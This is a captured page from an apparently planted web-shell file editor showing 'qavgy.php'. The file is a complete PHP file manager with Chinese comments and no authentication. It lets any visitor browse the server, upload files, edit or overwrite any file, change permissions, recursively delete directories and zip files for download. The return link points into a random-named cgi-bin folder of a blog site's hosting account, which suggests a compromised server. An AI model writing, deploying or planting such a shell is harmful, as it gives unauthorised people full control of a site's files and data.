<h3>Edit: qavgy.php</h3><form method='post'><textarea name='content' rows='20' cols='100'>&lt;?php

$dir = isset($_GET[&#039;dir&#039;]) ? $_GET[&#039;dir&#039;] : &#039;.&#039;;
$dir = realpath($dir);

// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
    if ($item === &#039;.&#039; || $item === &#039;..&#039;) continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) $dirs[] = $item;
    else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);

// ✅ 打包选中项 zip
if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;zip_selected&#039;], $_POST[&#039;selected_items&#039;])) {
    set_time_limit(0);

    $timestamp = time();
    $zipFileName = &#039;selected_&#039; . $timestamp . &#039;.zip&#039;;
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    $zip = new ZipArchive();
    if ($zip-&gt;open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($_POST[&#039;selected_items&#039;] as $item) {
            $path = realpath($item);
            if (!$path || !file_exists($path)) continue;

            if (is_file($path)) {
                $zip-&gt;addFile($path, basename($path));
            } elseif (is_dir($path)) {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                foreach ($iterator as $file) {
                    $filePath = $file-&gt;getRealPath();
                    $localPath = substr($filePath, strlen($dir) + 1);
                    $zip-&gt;addFile($filePath, $localPath);
                }
            }
        }
        $zip-&gt;close();

        $message = &quot;✅ ZIP 已生成：&lt;a href=&#039;?download_zip=&quot; . urlencode($zipFileName) . &quot;&#039;&gt;点击下载&lt;/a&gt;&quot;;
        $messageType = &quot;success&quot;;

    } else {
        $message = &quot;ZIP 打包失败&quot;;
        $messageType = &quot;danger&quot;;
    }
}


// ✅ ZIP 分块下载
if (isset($_GET[&#039;download_zip&#039;])) {
    $zipFileName = basename($_GET[&#039;download_zip&#039;]);
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    if (file_exists($zipFilePath)) {
        header(&#039;Content-Type: application/zip&#039;);
        header(&#039;Content-Disposition: attachment; filename=&quot;&#039; . $zipFileName . &#039;&quot;&#039;);
        header(&#039;Content-Length: &#039; . filesize($zipFilePath));

        $fp = fopen($zipFilePath, &#039;rb&#039;);
        if ($fp) {
            while (!feof($fp)) {
                echo fread($fp, 1024 * 1024);
                flush();
            }
            fclose($fp);
        }
        unlink($zipFilePath);
        exit;
    } else {
        echo &quot;&lt;div class=&#039;alert alert-danger&#039;&gt;ZIP 文件不存在或已过期。&lt;/div&gt;&quot;;
    }
}

// 文件上传
if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_FILES[&#039;file&#039;])) {
    $uploadFile = $_FILES[&#039;file&#039;];
    $targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile[&#039;name&#039;]);
    if (move_uploaded_file($uploadFile[&#039;tmp_name&#039;], $targetPath)) {
        $message = &quot;文件上传成功: &quot; . htmlspecialchars($uploadFile[&#039;name&#039;]);
        $messageType = &quot;success&quot;;
    } else {
        $message = &quot;文件上传失败&quot;;
        $messageType = &quot;danger&quot;;
    }
}

// 创建文件/文件夹
if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;new_name&#039;], $_POST[&#039;new_type&#039;]) &amp;&amp; !isset($_POST[&#039;zip_selected&#039;])) {
    $name = trim($_POST[&#039;new_name&#039;]);
    $type = $_POST[&#039;new_type&#039;];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if ($name !== &#039;&#039;) {
        if ($type === &#039;file&#039;) {
            if (file_put_contents($path, &#039;&#039;) !== false) {
                $message = &quot;文件创建成功: &quot; . htmlspecialchars($name);
                $messageType = &quot;success&quot;;
            } else {
                $message = &quot;文件创建失败&quot;;
                $messageType = &quot;danger&quot;;
            }
        } elseif ($type === &#039;folder&#039;) {
            if (mkdir($path)) {
                $message = &quot;文件夹创建成功: &quot; . htmlspecialchars($name);
                $messageType = &quot;success&quot;;
            } else {
                $message = &quot;文件夹创建失败&quot;;
                $messageType = &quot;danger&quot;;
            }
        }
    } else {
        $message = &quot;名称不能为空&quot;;
        $messageType = &quot;warning&quot;;
    }
}

// ✅ 修改权限
if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;chmod_file&#039;], $_POST[&#039;chmod_mode&#039;]) &amp;&amp; !isset($_POST[&#039;zip_selected&#039;])) {
    $chmodFile = realpath($_POST[&#039;chmod_file&#039;]);
    $mode = octdec($_POST[&#039;chmod_mode&#039;]);
    if ($chmodFile &amp;&amp; file_exists($chmodFile)) {
        if (chmod($chmodFile, $mode)) {
            $message = &quot;权限修改成功: &quot; . htmlspecialchars(basename($chmodFile));
            $messageType = &quot;success&quot;;
        } else {
            $message = &quot;权限修改失败: &quot; . htmlspecialchars(basename($chmodFile));
            $messageType = &quot;danger&quot;;
        }
    } else {
        $message = &quot;非法操作&quot;;
        $messageType = &quot;danger&quot;;
    }
}


// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), [&#039;.&#039;, &#039;..&#039;]);
    foreach ($files as $file) {
        deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
    }
    return rmdir($path);
}

if (isset($_GET[&#039;delete&#039;])) {
    $deletePath = realpath($_GET[&#039;delete&#039;]);
    if ($deletePath &amp;&amp; strpos($deletePath, $dir) === 0) {
        if (deleteRecursive($deletePath)) {
            $message = &quot;删除成功: &quot; . htmlspecialchars(basename($deletePath));
            $messageType = &quot;success&quot;;
        } else {
            $message = &quot;删除失败: &quot; . htmlspecialchars(basename($deletePath));
            $messageType = &quot;danger&quot;;
        }
    } else {
        $message = &quot;非法操作&quot;;
        $messageType = &quot;danger&quot;;
    }
}


// ✅ 编辑文件（读取内容）
$editContent = &#039;&#039;;
$editFile = &#039;&#039;;
if (isset($_GET[&#039;edit&#039;])) {
    $editFile = realpath($_GET[&#039;edit&#039;]);
    if ($editFile &amp;&amp; is_file($editFile)) {
        $editContent = file_get_contents($editFile);
    } else {
        $message = &quot;无法编辑该文件&quot;;
        $messageType = &quot;danger&quot;;
    }
}

// ✅ 保存编辑内容
if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;edit_file&#039;], $_POST[&#039;content&#039;])) {
    $filePath = realpath($_POST[&#039;edit_file&#039;]);
    if ($filePath &amp;&amp; is_file($filePath)) {
        file_put_contents($filePath, $_POST[&#039;content&#039;]);
        $message = &quot;文件已保存&quot;;
        $messageType = &quot;success&quot;;
    } else {
        $message = &quot;无法写入文件&quot;;
        $messageType = &quot;danger&quot;;
    }
}


// 生成面包屑
function generateBreadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathAccum = &#039;&#039;;
    $breadcrumb = [];
    foreach ($parts as $part) {
        if ($part === &#039;&#039;) continue;
        $pathAccum .= DIRECTORY_SEPARATOR . $part;
        $breadcrumb[] = &quot;&lt;a href=&#039;?dir=&quot; . urlencode(realpath($pathAccum)) . &quot;&#039;&gt;&quot; . htmlspecialchars($part) . &quot;&lt;/a&gt;&quot;;
    }
    return implode(&quot; / &quot;, $breadcrumb);
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;zh-CN&quot;&gt;
&lt;head&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;title&gt;xiaoxin&lt;/title&gt;
&lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;
&lt;link rel=&quot;icon&quot; href=&quot;https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico&quot;&gt;
&lt;style&gt;
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
&lt;/style&gt;
&lt;script&gt;
function confirmDelete(file) {
    return confirm(&quot;确定删除: &quot; + file + &quot; 吗？此操作不可恢复！&quot;);
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;container mt-4&quot;&gt;

&lt;h5 class=&quot;mb-3&quot;&gt;目录: &lt;?php echo generateBreadcrumb($dir); ?&gt;&lt;/h5&gt;

&lt;?php if (!empty($message)): ?&gt;
    &lt;div class=&quot;alert alert-&lt;?php echo $messageType; ?&gt; py-2&quot;&gt;&lt;?php echo $message; ?&gt;&lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;!-- ✅ 已移除“打包当前目录”按钮 --&gt;

&lt;!-- 创建文件/文件夹 --&gt;
&lt;h6 class=&quot;mb-2&quot;&gt;创建文件/文件夹&lt;/h6&gt;
&lt;form method=&quot;post&quot; class=&quot;d-flex gap-1 mb-3&quot;&gt;
    &lt;input type=&quot;text&quot; name=&quot;new_name&quot; class=&quot;form-control-sm&quot; placeholder=&quot;名称&quot; required&gt;
    &lt;select name=&quot;new_type&quot; class=&quot;form-select-sm&quot; required&gt;
        &lt;option value=&quot;file&quot;&gt;文件&lt;/option&gt;
        &lt;option value=&quot;folder&quot;&gt;文件夹&lt;/option&gt;
    &lt;/select&gt;
    &lt;button type=&quot;submit&quot; class=&quot;btn btn-success btn-sm&quot;&gt;创建&lt;/button&gt;
&lt;/form&gt;

&lt;!-- 上传文件 --&gt;
&lt;h6 class=&quot;mb-2&quot;&gt;上传文件&lt;/h6&gt;
&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; class=&quot;d-flex gap-1 mb-3&quot;&gt;
    &lt;input type=&quot;file&quot; name=&quot;file&quot; required&gt;
    &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary btn-sm&quot;&gt;上传&lt;/button&gt;
&lt;/form&gt;

&lt;?php if ($editFile): ?&gt;
&lt;h6&gt;编辑文件: &lt;?php echo htmlspecialchars(basename($editFile)); ?&gt;&lt;/h6&gt;
&lt;form method=&quot;post&quot;&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;edit_file&quot; value=&quot;&lt;?php echo htmlspecialchars($editFile); ?&gt;&quot;&gt;
    &lt;textarea name=&quot;content&quot; class=&quot;form-control mb-2&quot; rows=&quot;12&quot;&gt;&lt;?php echo htmlspecialchars($editContent); ?&gt;&lt;/textarea&gt;
    &lt;div class=&quot;d-flex gap-1&quot;&gt;
        &lt;button type=&quot;submit&quot; class=&quot;btn btn-warning btn-sm&quot;&gt;保存修改&lt;/button&gt;
        &lt;a href=&quot;?dir=&lt;?php echo urlencode($dir); ?&gt;&quot; class=&quot;btn btn-secondary btn-sm&quot;&gt;取消&lt;/a&gt;
    &lt;/div&gt;
&lt;/form&gt;

&lt;?php else: ?&gt;

&lt;!-- ✅ zip 表单单独 --&gt;
&lt;form method=&quot;post&quot; id=&quot;zipForm&quot;&gt;
&lt;table class=&quot;table table-striped table-hover table-sm&quot;&gt;
    &lt;thead class=&quot;table-dark&quot;&gt;
        &lt;tr&gt;
            &lt;th&gt;&lt;input type=&quot;checkbox&quot; id=&quot;checkAll&quot;&gt;&lt;/th&gt;
            &lt;th&gt;名称&lt;/th&gt;
            &lt;th&gt;类型&lt;/th&gt;
            &lt;th&gt;操作&lt;/th&gt;
        &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
        &lt;?php
        $parent = dirname($dir);
        if ($parent !== $dir) {
            echo &quot;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&#039;?dir=&quot; . urlencode($parent) . &quot;&#039;&gt;.. (上级目录)&lt;/a&gt;&lt;/td&gt;&lt;td&gt;目录&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&quot;;
        }
        foreach ($items as $item) {
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            echo &quot;&lt;tr&gt;&quot;;
            echo &quot;&lt;td&gt;&lt;input type=&#039;checkbox&#039; class=&#039;chkItem&#039; name=&#039;selected_items[]&#039; value=&#039;&quot; . htmlspecialchars($path) . &quot;&#039;&gt;&lt;/td&gt;&quot;;
            if (is_dir($path)) {
                echo &quot;&lt;td&gt;&lt;a href=&#039;?dir=&quot; . urlencode($path) . &quot;&#039;&gt;&quot; . htmlspecialchars($item) . &quot;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;目录&lt;/td&gt;&quot;;
            } else {
                echo &quot;&lt;td&gt;&quot; . htmlspecialchars($item) . &quot;&lt;/td&gt;&lt;td&gt;文件&lt;/td&gt;&quot;;
            }
            echo &quot;&lt;td class=&#039;d-flex gap-1 align-items-center&#039;&gt;&quot;;

            if (is_file($path)) {
                echo &quot;&lt;a href=&#039;?dir=&quot; . urlencode($dir) . &quot;&amp;edit=&quot; . urlencode($path) . &quot;&#039; class=&#039;btn btn-warning btn-sm px-2 py-1&#039;&gt;编辑&lt;/a&gt;&quot;;
            }

            echo &quot;&lt;form method=&#039;post&#039; action=&#039;?dir=&quot; . urlencode($dir) . &quot;&#039; style=&#039;display:inline-block&#039;&gt;
                &lt;input type=&#039;hidden&#039; name=&#039;chmod_file&#039; value=&#039;&quot; . htmlspecialchars($path) . &quot;&#039;&gt;
                &lt;input type=&#039;text&#039; name=&#039;chmod_mode&#039; value=&#039;&quot; . substr(sprintf(&#039;%o&#039;, fileperms($path)), -4) . &quot;&#039; size=&#039;4&#039; class=&#039;form-control form-control-sm d-inline-block&#039; style=&#039;width:60px&#039;&gt;
                &lt;button type=&#039;submit&#039; class=&#039;btn btn-info btn-sm px-2 py-1&#039;&gt;权限&lt;/button&gt;
            &lt;/form&gt;&quot;;

            echo &quot;&lt;a href=&#039;?dir=&quot; . urlencode($dir) . &quot;&amp;delete=&quot; . urlencode($path) . &quot;&#039; class=&#039;btn btn-danger btn-sm px-2 py-1&#039; onclick=&#039;return confirmDelete(\&quot;&quot; . htmlspecialchars($item) . &quot;\&quot;);&#039;&gt;删除&lt;/a&gt;&quot;;

            echo &quot;&lt;/td&gt;&quot;;
            echo &quot;&lt;/tr&gt;&quot;;
        }
        ?&gt;
    &lt;/tbody&gt;
&lt;/table&gt;

&lt;button type=&quot;submit&quot; name=&quot;zip_selected&quot; class=&quot;btn btn-dark btn-sm mb-3&quot;&gt;打包选中项&lt;/button&gt;
&lt;/form&gt;

&lt;?php endif; ?&gt;

&lt;/div&gt;
&lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;
document.getElementById(&quot;checkAll&quot;).onclick = function() {
    document.querySelectorAll(&quot;.chkItem&quot;).forEach(c =&gt; c.checked = this.checked);
};
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea><br><button type='submit'>Simpan</button></form><p><a href='?path=%2Fhome%2Fgreakqsw%2Ftheblogginglab.org%2F5uq8v7-20260314182546%2F3myf64%2Fcgi-bin%2Fvkyus1'>Kembali</a></p>